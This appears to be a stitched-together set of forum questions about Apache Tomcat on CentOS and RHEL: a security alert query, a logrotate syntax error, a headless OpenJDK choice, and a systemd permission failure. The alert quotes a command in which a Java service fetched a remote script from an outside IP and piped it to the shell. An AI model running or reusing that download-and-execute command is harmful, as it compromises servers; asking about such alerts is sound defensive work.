Referenced in commandline 222.108.161.27
1/6/2024 9:11:14 PM 
 bash was executed by a network service 'java'
Script content cd / ;curl -fsSL http://222.108.161.27:7070/docs/da.txt  |sh
Mitre techniques T1505: Server Software Component, T1059: Command and Scripting Interpreter, T1059.004: Unix Shell, T1505.003: Web Shell, T1190: Exploit Public-Facing Application
Suspicious process executed by a network service New Detected High

I need help understanding the above alert details. Is the process happening inside CentOS itself or is it suspicious activity?

I have a standalone Tomcat installed on CentOS 8 and I am trying to rotate the catalina.out file. I have created a file named /etc/logrotate.d/tomcat with vim and added the following line: /opt/tomcat9/logs/catalina.out { copytruncate daily rotate 7 compress missingok size 5M } However when I try to execute it manually I get the following error: [root@dummy bin]# /usr/sbin/logrotate /etc/logrotate.conf error: tomcat:1 bad rotation count '7 compress missingok size 5M }' Can someone explain what I am doing wrong please?

I'm installing Java and Tomcat on a headless server. The client doesn't have Java and just sees a webpage. Should I install openjdk-17, or openjdk-17-headless?

### Background On RHEL 8 I have Apache Tomcat v8.5.78 installed under /opt/tomcat/. User & group of the directory is set to tomcat:tomcat, so is the directory's content. I can start Tomcat with $ sudo -u tomcat /opt/tomcat/bin/catalina.sh start Now I try to manage Tomcat via systemctl. I have a tomcat.service file like this:

[Unit]
Description=Tomcat Server
After=syslog.target network.target

[Service]
Type=forking
User=tomcat
Group=tomcat

Environment=JAVA_HOME=/usr/lib/jvm/jre
Environment='JAVA_OPTS=-Djava.awt.headless=true'
Environment=CATALINA_HOME=/opt/tomcat
Environment=CATALINA_BASE=/opt/tomcat
Environment=CATALINA_PID=/opt/tomcat/temp/tomcat.pid
Environment='CATALINA_OPTS=-Xms512M -Xmx2048M'
ExecStart=/opt/tomcat/bin/catalina.sh start
ExecStop=/opt/tomcat/bin/catalina.sh stop

[Install]
WantedBy=multi-user.target

Note that the service user & group is set to tomcat & tomcat as well. ### Problem When I startup Tomcat via systemctl: $ sudo systemctl start tomcat.service I get "Job for tomcat.service failed...". systemctl status tomcat.service shows

● tomcat.service - Tomcat Server
   Loaded: loaded (/etc/systemd/system/tomcat.service; disabled; vendor preset: disabled)
   Active: failed (Result: exit-code) since Wed 2022-06-22 12:11:59 AEST; 1min 29s ago
  Process: 1641092 ExecStart=/opt/tomcat/bin/catalina.sh start (code=exited, status=203/EXEC)

and journalctl -xe gives:

-- Unit tomcat.service has begun starting up.
Jun 22 11:41:47 my.server.local systemd: tomcat.service: Failed to execute command: Permission denied
Jun 22 11:41:47 my.server.local systemd: tomcat.service: Failed at step EXEC spawning /opt/tomcat/bin/catalina.sh: Permission d>-- Subject: Process /opt/tomcat/bin/catalina.sh could not be executed

*Why does systemctl reports permission problems when the service file specifies the same user with whom manual start up works?* ### Additional info #### Tomcat version The Tomcat version is a requirement - I cannot upgrade to a newer version. #### What I have tried additionally? 1. Having read https://unix.stackexchange.com/a/498494/45940 I tried in tomcat.service the directive Type=oneshot -- with no success. 2. Having read https://stackoverflow.com/a/58301082/65889 I tried setting in tomcat.service the working directory to /opt/tomcat/bin -- with no success